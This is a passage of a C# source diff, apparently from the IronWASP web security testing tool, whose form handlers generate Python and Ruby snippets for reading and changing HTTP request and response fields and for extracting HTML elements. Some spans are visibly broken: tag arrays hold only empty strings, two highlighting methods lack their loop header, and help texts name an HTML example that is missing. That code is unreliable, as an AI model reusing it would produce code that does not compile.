Rb.AppendLine("#The values are returned as a .NET List type so we use the Add method of the .NET list to add a new parameter"); + Rb.AppendLine(string.Format(@"upp.add(""{1}"")", ParameterValue.Replace("\"", "\\\""))); + Rb.AppendLine("req.url_path_parts = upp"); + } + else + { + if (RPPAnswerOneRB.Checked) + { + Py.AppendLine(string.Format(@"req.{0}.Set(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"req.{0}.set(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + } + else + { + Py.AppendLine(string.Format(@"req.{0}.Add(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"req.{0}.add(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + } + } + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + void HighLightRequestProperty(string StartPropertyTag, bool Full) + { + string[] Tags = new string[] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}; + + string FullTemplate = @"POST /aaa/bbb/ccc.aspx?ddd=111&eee=222 +Host: ironwasp.org +Cookie: fff=333; ggg=444 +Content-Type: application/x-www-form-urlencoded +Content-Length: 15 + +hhh=555&iii=666 +"; + + string UrlTemplate = ">https://ironwasp.org/aaa/bbb/ccc.aspx?ddd=111&eee=222"; + string ToShow = ""; + + if(Full) + ToShow = FullTemplate; + else + ToShow = UrlTemplate; + + string EndPropertyTag = StartPropertyTag.Replace("<", ">"); + else if (Tag.Equals(EndPropertyTag)) + ToShow = ToShow.Replace(Tag, ">"); + else + ToShow = ToShow.Replace(Tag, ""); + } + + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(ToShow)); + SB.Append(@" \par"); + ROPDisplayRTB.Rtf = SB.ToString(); + } + + private void ROPParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ROPParameterTypeGrid.SelectedRows == null) return; + if (ROPParameterTypeGrid.SelectedRows.Count == 0) return; + + ROPQuestionGB.Text = "Do you want to read or modify this value?"; + ROPQuestionGB.Visible = false; + ROPAnswerEditRB.Enabled = true; + ROPCreateCodeBtn.Enabled = true; + + if (ROPAnswerEditRB.Checked) + { + ROPParameterValueLbl.Visible = true; + ROPParameterValueTB.Visible = true; + } + + foreach (DataGridViewRow Row in ROPParameterTypeGrid.Rows) + { + if (Row.Index == ROPParameterTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + ROPParameterDescriptionTB.Text = Row.Cells[4].Value.ToString(); + HighLightRequestProperty(Row.Cells[3].Value.ToString(), Row.Cells[2].Value.ToString() == "full"); + + string Property = Row.Cells[1].Value.ToString(); + + switch (Property) + { + case("File"): + case ("BaseUrl"): + case ("UrlDir"): + case ("BodyLength"): + case ("HasBody"): + case ("IsBinary"): + ROPQuestionGB.Text = "This is a read-only value, cannot be modified."; + ROPQuestionGB.Visible = true; + ROPAnswerReadRB.Checked = true; + ROPAnswerEditRB.Enabled = false; + break; + case ("UrlPathParts"): + case ("Query Parameters"): + case ("Body Parameters"): + case ("Cookie Parameters"): + case ("Header Parameters"): + ROPCreateCodeBtn.Enabled = false; + ROPParameterValueLbl.Visible = false; + ROPParameterValueTB.Visible = false; + break; + case("SSL"): + ROPParameterValueLbl.Visible = false; + ROPParameterValueTB.Visible = false; + ROPQuestionGB.Visible = true; + break; + default: + ROPQuestionGB.Visible = true; + break; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ROPCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowROPError(""); + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + + string Property = ""; + string Value = ROPParameterValueTB.Text; + foreach (DataGridViewRow Row in ROPParameterTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Property = Row.Cells[1].Value.ToString(); + } + } + if (Property.Length == 0) + { + ShowROPError("No property selected."); + return; + } + switch(Property) + { + case ("Method"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request method is ' + req.Method"); + Rb.AppendLine("puts 'Request method is ' + req.http_method"); + } + else + { + Py.AppendLine(string.Format(@"req.Method = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.http_method = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("SSL"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("if req.SSL:"); + Py.Append(" "); Py.AppendLine("print 'Request uses SSL'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Request does not use SSL'"); + + Rb.AppendLine("if req.ssl"); + Rb.Append(" "); Rb.AppendLine("puts 'Request uses SSL'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Request does not use SSL'"); + Rb.AppendLine("end"); + } + else + { + Py.AppendLine("req.SSL = True"); + Rb.AppendLine("req.ssl = true"); + } + break; + case ("HasBody"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("if req.HasBody:"); + Py.Append(" "); Py.AppendLine("print 'Request has a body'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Request does not have a body'"); + + Rb.AppendLine("if req.has_body"); + Rb.Append(" "); Rb.AppendLine("puts 'Request has a body'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Request does not have a body'"); + Rb.AppendLine("end"); + } + break; + case ("IsBinary"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("if req.IsBinary:"); + Py.Append(" "); Py.AppendLine("print 'Request body is a binary value'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Request body is not a binary value'"); + + Rb.AppendLine("if req.is_binary"); + Rb.Append(" "); Rb.AppendLine("puts 'Request body is a binary value'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Request body is not a binary value'"); + Rb.AppendLine("end"); + } + break; + case ("Host"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request host is ' + req.Host"); + Rb.AppendLine("puts 'Request host is ' + req.host"); + } + else + { + Py.AppendLine(string.Format(@"req.Host = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.host = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("File"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request file extension is ' + req.File"); + Rb.AppendLine("puts 'Request file extension is ' + req.file"); + } + break; + case ("FullUrl"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request full url is ' + req.FullUrl"); + Rb.AppendLine("puts 'Request full url is ' + req.full_url"); + } + else + { + Py.AppendLine(string.Format(@"req.FullUrl = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.full_url = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("Url"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request url is ' + req.Url"); + Rb.AppendLine("puts 'Request url is ' + req.url"); + } + else + { + Py.AppendLine(string.Format(@"req.Url = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.url = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("BaseUrl"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request base url is ' + req.BaseUrl"); + Rb.AppendLine("puts 'Request base url is ' + req.base_url"); + } + break; + case ("UrlPath"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request url path is ' + req.UrlPath"); + Rb.AppendLine("puts 'Request url path is ' + req.url_path"); + } + else + { + Py.AppendLine(string.Format(@"req.UrlPath = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.url_path = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("UrlDir"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request url dir is ' + req.UrlDir"); + Rb.AppendLine("puts 'Request url dir is ' + req.url_dir"); + } + break; + case ("BodyString"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request body content is ' + req.BodyString"); + Rb.AppendLine("puts 'Request body content is ' + req.body_string"); + } + else + { + Py.AppendLine(string.Format(@"req.BodyString = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.body_string = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("CookieString"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Request cookie content is ' + req.CookieString"); + Rb.AppendLine("puts 'Request cookie content is ' + req.cookie_string"); + } + else + { + Py.AppendLine(string.Format(@"req.CookieString = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.cookie_string = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("BodyLength"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'Size of the Request body is ' + str(req.BodyLength)"); + Rb.AppendLine("puts 'Size of the Request body is ' + req.body_length.to_s"); + } + break; + case ("ContentType"): + if (ROPAnswerReadRB.Checked) + { + Py.AppendLine("print 'The type of the Request body content is ' + req.ContentType"); + Rb.AppendLine("puts 'The type of the Request body content is ' + req.content_type"); + } + else + { + Py.AppendLine(string.Format(@"req.ContentType = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.content_type = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + } + + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ROPAnswerReadRB_CheckedChanged(object sender, EventArgs e) + { + if (ROPAnswerReadRB.Checked) + { + ROPParameterValueLbl.Visible = false; + ROPParameterValueTB.Visible = false; + } + else + { + ROPParameterValueLbl.Visible = true; + ROPParameterValueTB.Visible = true; + } + } + + void HighLightResponseProperty(string StartPropertyTag) + { + string[] Tags = new string[] { "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "","" }; + + string FullTemplate = @"HTTP/1.1 200 OK +Server: Microsoft-IIS/7.0 +Content-Type: text/html; charset=utf-8 +Content-Length: 69 +Set-Cookie: aaa=111; expires=Thu, 01-Jan-2015 19:57:42 GMT; path=/; domain=.ironwasp.org +Set-Cookie: bbb=222; expires=Wed, 03-Jul-2013 19:57:42 GMT; path=/; domain=www.ironwasp.org; HttpOnly + +Welcome + +"; + + string ToShow = FullTemplate; + + string EndPropertyTag = StartPropertyTag.Replace("<", ">"); + else if (Tag.Equals(EndPropertyTag)) + ToShow = ToShow.Replace(Tag, ">"); + else + ToShow = ToShow.Replace(Tag, ""); + } + + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(ToShow)); + SB.Append(@" \par"); + ResDisplayRTB.Rtf = SB.ToString(); + } + + private void ResParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ResParameterTypeGrid.SelectedRows == null) return; + if (ResParameterTypeGrid.SelectedRows.Count == 0) return; + + ResQuestionGB.Text = "Do you want to read or modify this value?"; + ResQuestionGB.Visible = false; + ResAnswerEditRB.Enabled = true; + ResCreateCodeBtn.Enabled = true; + ResParameterValueTB.Enabled = true; + + if (ResAnswerEditRB.Checked) + { + ResParameterValueLbl.Visible = true; + ResParameterValueTB.Visible = true; + } + + foreach (DataGridViewRow Row in ResParameterTypeGrid.Rows) + { + if (Row.Index == ResParameterTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + ResParameterDescriptionTB.Text = Row.Cells[3].Value.ToString(); + HighLightResponseProperty(Row.Cells[2].Value.ToString()); + + string Property = Row.Cells[1].Value.ToString(); + + switch (Property) + { + case ("ContentType"): + case ("BodyString"): + ResQuestionGB.Visible = true; + ResParameterValueLbl.Visible = true; + ResParameterValueTB.Visible = true; + ResParameterValueTB.Enabled = true; + break; + case ("Headers"): + case ("Html"): + ResCreateCodeBtn.Enabled = false; + ResParameterValueLbl.Visible = false; + ResParameterValueTB.Visible = false; + break; + case ("SetCookies"): + ResParameterValueLbl.Visible = false; + ResParameterValueTB.Visible = false; + ResQuestionGB.Visible = true; + ResParameterValueTB.Enabled = false; + break; + default: + ResQuestionGB.Text = "This is a read-only value, cannot be modified."; + ResQuestionGB.Visible = true; + ResAnswerReadRB.Checked = true; + ResAnswerEditRB.Enabled = false; + break; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ResCreateCodeBtn_Click(object sender, EventArgs e) + { + + ShowResError(""); + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + + string Property = ""; + foreach (DataGridViewRow Row in ResParameterTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Property = Row.Cells[1].Value.ToString(); + break; + } + } + string Value = ResParameterValueTB.Text; + switch (Property) + { + case ("Code"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'Response Code is ' + str(res.Code)"); + Rb.AppendLine("puts 'Response Code is ' + res.code.to_s"); + } + break; + case ("Status"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'Response status is ' + res.Status"); + Rb.AppendLine("puts 'Response status is ' + res.status"); + } + break; + case ("HttpVersion"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'Response HTTP version is ' + res.HttpVersion"); + Rb.AppendLine("puts 'Response HTTP version is ' + res.http_version"); + } + break; + case ("BodyLength"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'Size of the Response body is ' + str(res.BodyLength)"); + Rb.AppendLine("puts 'Size of the Response body is ' + res.body_length.to_s"); + } + break; + case ("ContentType"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'The type of the Response body content is ' + res.ContentType"); + Rb.AppendLine("puts 'The type of the Response body content is ' + res.content_type"); + } + else + { + Py.AppendLine(string.Format(@"res.ContentType = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"res.content_type = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("BodyEncoding"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'The encoding type of the Response body is ' + res.BodyEncoding"); + Rb.AppendLine("puts 'The encoding type of the Response body is ' + res.body_encoding"); + } + break; + case ("SetCookies"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("#SetCookies is list of SetCookie objects. It is a .NET List type but you can check its length and iterate over it like Python list."); + Py.AppendLine("if len(res.SetCookies) > 0:"); + Py.Append(" "); Py.AppendLine("for sc in res.SetCookies:"); + Py.Append(" "); Py.AppendLine(@"print ""SetCookie Header Value is : "" + sc.FullString"); + Py.Append(" "); Py.AppendLine(@"print "" Name= "" + sc.Name"); + Py.Append(" "); Py.AppendLine(@"print "" Value= "" + sc.Value"); + Py.Append(" "); Py.AppendLine(@"print "" Path= "" + sc.Path"); + Py.Append(" "); Py.AppendLine(@"print "" Domain= "" + sc.Domain"); + Py.Append(" "); Py.AppendLine(@"print "" Expires= "" + sc.Expires"); + Py.Append(" "); Py.AppendLine(@"print "" MaxAge= "" + sc.MaxAge"); + Py.Append(" "); Py.AppendLine(@"print "" Comment= "" + sc.Comment"); + Py.Append(" "); Py.AppendLine(@"print "" Version= "" + sc.Version"); + Py.Append(" "); Py.AppendLine(@"if sc.HttpOnly:"); + Py.Append(" "); Py.AppendLine(@"print "" HttpOnly flag is set"""); + Py.Append(" "); Py.AppendLine(@"else:"); + Py.Append(" "); Py.AppendLine(@"print "" HttpOnly flag is not set"""); + Py.Append(" "); Py.AppendLine(@"if sc.Secure:"); + Py.Append(" "); Py.AppendLine(@"print "" Secure flag is set"""); + Py.Append(" "); Py.AppendLine(@"else:"); + Py.Append(" "); Py.AppendLine(@"print "" Secure flag is not set"""); + + Rb.AppendLine("#SetCookies is list of SetCookie objects. It is a .NET List type but you can check its length and iterate over it like Ruby list."); + Rb.AppendLine("if res.set_cookies.count > 0"); + Rb.Append(" "); Rb.AppendLine("for sc in res.set_cookies"); + Rb.Append(" "); Rb.AppendLine(@"puts ""SetCookie Header Value is : "" + sc.full_string"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Name= "" + sc.name"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Value= "" + sc.value"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Path= "" + sc.path"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Domain= "" + sc.domain"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Expires= "" + sc.expires"); + Rb.Append(" "); Rb.AppendLine(@"puts "" MaxAge= "" + sc.max_age"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Comment= "" + sc.comment"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Version= "" + sc.version"); + Rb.Append(" "); Rb.AppendLine(@"if sc.http_only"); + Rb.Append(" "); Rb.AppendLine(@"puts "" HttpOnly flag is set"""); + Rb.Append(" "); Rb.AppendLine(@"else"); + Rb.Append(" "); Rb.AppendLine(@"puts "" HttpOnly flag is not set"""); + Rb.Append(" "); Rb.AppendLine(@"end"); + Rb.Append(" "); Rb.AppendLine(@"if sc.secure"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Secure flag is set"""); + Rb.Append(" "); Rb.AppendLine(@"else"); + Rb.Append(" "); Rb.AppendLine(@"puts "" Secure flag is not set"""); + Rb.Append(" "); Rb.AppendLine(@"end"); + Rb.Append(" "); Rb.AppendLine(@"end"); + Rb.AppendLine(@"end"); + } + else + { + Py.AppendLine(@"#Create a new SetCookie object from string. The format of the string must be similar to the value of Set-Cookie response headers from server"); + Py.AppendLine(@"sc = SetCookie(""aaa=111; Path=/"")"); + Py.AppendLine("#SetCookies is a .NET List so we use the Add method of the .NET list to add a new SetCookie object"); + Py.AppendLine(@"res.SetCookies.Add(sc)"); + + Rb.AppendLine(@"#Create a new SetCookie object from string. The format of the string must be similar to the value of Set-Cookie response headers from server"); + Rb.AppendLine(@"sc = SetCookie.new(""aaa=111; Path=/"")"); + Rb.AppendLine("#SetCookies is a .NET List so we use the Add method of the .NET list to add a new SetCookie object"); + Rb.AppendLine(@"res.set_cookies.push(sc)"); + } + break; + case ("BodyString"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'Response body content is ' + res.BodyString"); + Rb.AppendLine("puts 'Response body content is ' + res.body_string"); + } + else + { + Py.AppendLine(string.Format(@"res.BodyString = ""{0}""", Value.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"res.body_string = ""{0}""", Value.Replace("\"", "\\\""))); + } + break; + case ("RoundTrip"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("print 'The time taken to recieve this response is ' + str(res.RoundTrip) + ' ms'"); + Rb.AppendLine("puts 'The time taken to recieve this response is ' + res.round_trip.to_s + ' ms'"); + } + break; + case ("HasBody"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.HasBody:"); + Py.Append(" "); Py.AppendLine("print 'Response has a body'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response does not have a body'"); + + Rb.AppendLine("if res.has_body"); + Rb.Append(" "); Rb.AppendLine("puts 'Response has a body'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response does not have a body'"); + Rb.AppendLine("end"); + } + break; + case ("IsHtml"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsHtml:"); + Py.Append(" "); Py.AppendLine("print 'Response body is HTML'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response body is not HTML'"); + + Rb.AppendLine("if res.is_html"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is HTML'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is not HTML'"); + Rb.AppendLine("end"); + } + break; + case ("IsJson"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsJson:"); + Py.Append(" "); Py.AppendLine("print 'Response body is JSON'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response body is not JSON'"); + + Rb.AppendLine("if res.is_json"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is JSON'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is not JSON'"); + Rb.AppendLine("end"); + } + break; + case ("IsXml"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsXml:"); + Py.Append(" "); Py.AppendLine("print 'Response body is XML'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response body is not XML'"); + + Rb.AppendLine("if res.is_xml"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is XML'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is not XML'"); + Rb.AppendLine("end"); + } + break; + case ("IsJavaScript"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsJavaScript:"); + Py.Append(" "); Py.AppendLine("print 'Response body is JavaScript'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response body is not JavaScript'"); + + Rb.AppendLine("if res.is_java_script"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is JavaScript'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is not JavaScript'"); + Rb.AppendLine("end"); + } + break; + case ("IsCss"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsCss:"); + Py.Append(" "); Py.AppendLine("print 'Response body is CSS'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response body is not CSS'"); + + Rb.AppendLine("if res.is_css"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is CSS'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response body is not CSS'"); + Rb.AppendLine("end"); + } + break; + case ("IsRedirect"): + if (ResAnswerReadRB.Checked) + { + Py.AppendLine("if res.IsRedirect:"); + Py.Append(" "); Py.AppendLine("print 'Response is a redirect'"); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine("print 'Response is not a redirect'"); + + Rb.AppendLine("if res.is_redirect"); + Rb.Append(" "); Rb.AppendLine("puts 'Response is a Redirect'"); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine("puts 'Response is not a Redirect'"); + Rb.AppendLine("end"); + } + break; + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ResAnswerReadRB_CheckedChanged(object sender, EventArgs e) + { + if (ResAnswerReadRB.Checked) + { + ResParameterValueLbl.Visible = false; + ResParameterValueTB.Visible = false; + } + else + { + ResParameterValueLbl.Visible = true; + ResParameterValueTB.Visible = true; + } + } + + private void SRSendWithLogSourceRB_CheckedChanged(object sender, EventArgs e) + { + if (SRSendWithLogSourceRB.Checked) + { + SRLogSourceLbl.Visible = true; + SRLogSourceTB.Visible = true; + } + else + { + SRLogSourceLbl.Visible = false; + SRLogSourceTB.Visible = false; + } + } + + private void HtmlMainActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (HtmlMainActionsGrid.SelectedRows == null) return; + if (HtmlMainActionsGrid.SelectedRows.Count == 0) return; + + HtmlDescriptionTB.Text = ""; + HtmlAnswerDescriptionTB.Visible = false; + HtmlOptionsGrid.Visible = false; + HtmlOptionsGrid.Rows.Clear(); + HtmlCreateCodeBtn.Enabled = false; + + HtmlGVPanel.Visible = false; + HtmlGEPanel.Visible = false; + HtmlAnswerPanel.Visible = false; + + HtmlGVPanel.Width = 10; + HtmlGEPanel.Width = 10; + HtmlAnswerPanel.Width = 10; + + foreach (DataGridViewRow Row in HtmlMainActionsGrid.Rows) + { + if (Row.Index == HtmlMainActionsGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + HtmlDescriptionTB.Text = Row.Cells[2].Value.ToString(); + + string Property = Row.Cells[1].Value.ToString(); + + switch (Property) + { + case ("Get Title of Html"): + case ("Get Links from Html"): + case ("Get Comments from Html"): + HtmlCreateCodeBtn.Enabled = true; + break; + case ("Get JavaScript from Html"): + HtmlOptionsGrid.Rows.Clear(); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All JavaScript", "JS" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Only JavaScript having a keyword", "JS" }); + HtmlOptionsGrid.Visible = true; + break; + case ("Get VisualBasic from Html"): + HtmlOptionsGrid.Rows.Clear(); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All Visual Basic", "VB" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Only Visual Basic having a keyword", "VB" }); + HtmlOptionsGrid.Visible = true; + break; + case ("Get CSS from Html"): + HtmlOptionsGrid.Rows.Clear(); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All CSS", "CSS" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Only CSS having a keyword", "CSS" }); + HtmlOptionsGrid.Visible = true; + break; + case ("Get Values of Html attributes"): + HtmlOptionsGrid.Rows.Clear(); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 1", "GV" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 2", "GV" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 3", "GV" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 4", "GV" }); + HtmlOptionsGrid.Visible = true; + HtmlGVPanel.Width = 398; + HtmlGVPanel.Visible = true; + HtmlAnswerDescriptionTB.Text = @" +Html tags look like: + +Here 'input' is the tag name. 'name' and 'type' are attribute names, 'search' and 'hidden' are corresponding attribute values. + +The input fields at the bottom denote the values required to be entered by you. + +The input box before 'value to get' should be filled by the name of attribute whose value you want to get. + +The first input box will be the name of the html tags where this attribute value must be taken from. Enter * if you want to search all tags. + +The 3rd and 4th input boxes are optional. If you provide an attribute name and value in these boxes then only tags containing them will be searched. + +You can use any of the templates on the left for reference. + +Template 1: +Gets the urls of all scripts loaded in this HTML + +Template 2: +Gets the value of the element with id set as 'c_token' + +Template 3: +Gets the names of all hidden input tags in the HTML + +Template 4: +Gets the value of all 'onclick' event handlers in the HTML +"; + HtmlAnswerDescriptionTB.Visible = true; + HtmlCreateCodeBtn.Enabled = true; + break; + case ("Get Elements from Html as strings"): + case ("Get Elements from Html as objects"): + HtmlOptionsGrid.Rows.Clear(); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 1", "GE" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 2", "GE" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 3", "GE" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 4", "GE" }); + HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 5", "GE" }); + HtmlOptionsGrid.Visible = true; + HtmlGEPanel.Width = 398; + HtmlGEPanel.Visible = true; + HtmlAnswerDescriptionTB.Text = @" +Html tags look like: + +Here 'input' is the tag name. 'name' and 'type' are attribute names, 'search' and 'hidden' are corresponding attribute values. + +The input fields at the bottom denote the values required to be entered by you. + +The first input box will be the name of the html tags that must be returned. Enter * if you want to match all tags. + +The 2nd and 3rd input boxes are optional. If you provide an attribute name and value in these boxes then only elements containing them will be returned. + +You can use any of the templates on the left for reference. + +Template 1: +Gets all HTML form elements in the page + +Template 2: +Gets all script elements that load script from other files + +Template 3: +Gets the element with id set as 'c_token' + +Template 4: +Gets all hidden input tags in the HTML + +Template 5: +Gets all elements that have the 'onclick' event handlers in the HTML +"; + HtmlAnswerDescriptionTB.Visible = true; + HtmlCreateCodeBtn.Enabled = true; + break; + case ("Find the context a keyword"): + HtmlAnswerPanel.Width = 373; + HtmlAnswerPanel.Visible = true; + HtmlCreateCodeBtn.Enabled = true; + break; + case ("Get Content of Meta tags"): + HtmlAnswerPanel.Visible = true; + break; + case ("Get Forms from Html"): + HtmlCreateCodeBtn.Enabled = true; + break; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void HtmlOptionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (HtmlOptionsGrid.SelectedRows == null) return; + if (HtmlOptionsGrid.SelectedRows.Count == 0) return; + + string Option = ""; + string Type = ""; + foreach (DataGridViewRow Row in HtmlOptionsGrid.Rows) + { + if (Row.Index == HtmlOptionsGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + Option = Row.Cells[1].Value.ToString(); + Type = Row.Cells[2].Value.ToString(); + } + else + { + Row.Cells[0].Value = false; + } + } + if (Option.Length == 0 || Type.Length == 0) + { + return; + } + switch (Type) + { + case ("JS"): + case ("VB"): + case ("CSS"): + if (Option.StartsWith("Only")) + { + HtmlAnswerPanel.Width = 373; + HtmlAnswerPanel.Visible = true; + } + else + { + HtmlAnswerPanel.Width = 10; + HtmlAnswerPanel.Visible = false; + } + HtmlCreateCodeBtn.Enabled = true; + break; + case ("GV"): + switch (Option) + { + case("Template 1"): + HtmlGVTagTB.Text = "script"; + HtmlGVMainAttributeNameTB.Text = "src"; + HtmlGVHelperAttributeValueTB.Text = 